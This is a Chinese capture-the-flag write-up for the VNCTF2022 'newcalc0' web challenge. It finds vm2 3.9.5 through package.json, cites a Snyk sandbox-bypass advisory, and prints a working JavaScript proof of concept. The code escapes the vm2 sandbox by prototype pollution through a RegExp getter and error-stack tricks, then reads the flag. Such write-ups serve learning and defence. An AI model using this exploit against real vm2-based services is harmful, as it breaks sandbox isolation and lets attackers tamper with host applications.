VM2的沙箱逃逸出自VNCTF2022-WEB-newcalc0
根据hint访问package.json
///source?path=/package.json
...
"dependencies": {
"express": "^4.17.1",
"pm2": "^4.5.6",
"vm2": "^3.9.5"
}
...
再阅读源码,无其他位置可以注入,故寻找VM2的CVE
这里有个CVE数据库可以使用
Snyk Vulnerability Database(https://security.snyk.io/)
我们于是找到了一个VM2绕过的CVE
Sandbox Bypass Affecting VM2 versions <3.9.6
刚好VM2版本对应上了,理论存在,实践开始
由于第一个poc好像被过滤了一部分,于是直接尝试第二个
e=1;function getRootPrototype(obj) {//e=1;直接先把module.exports=处理了
while (obj.__proto__) {
obj = obj.__proto__;
}
return obj;
}
function stack(ref, cb) {
let stack = new Error().stack;
stack.match(/checkReferenceRecursive/g);
}
try {
global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
getRootPrototype(this);
stack(this);
return true;
}), function functionInvocationAnalysis(r) {
stack(r);
}(temp0), global.temp0;
RegExp.prototype.exec = function (str) {
stack(arguments);
};
} catch (e) {
getRootPrototype(e).prototype=[1,2,3];///根据题目要求对prototype注入,一次不行,多submit几次(50+一直点就对了),总有一次能污染到原型链
//getRootPrototype(Object).prototype=[1,2,3];/也许也可以这样原型链污染
module.exports=Object.keys(Object.prototype);//返回目前的prototype进行回显确认
}
再次访问/flag
就出了
主要是对代码的理解,要知道哪里可以对prototype进行修改以及hint:package.json的使用
2022/2/14:复现到3点多,一次不行,多submit几次!
tql
mtgg的rce帮大忙了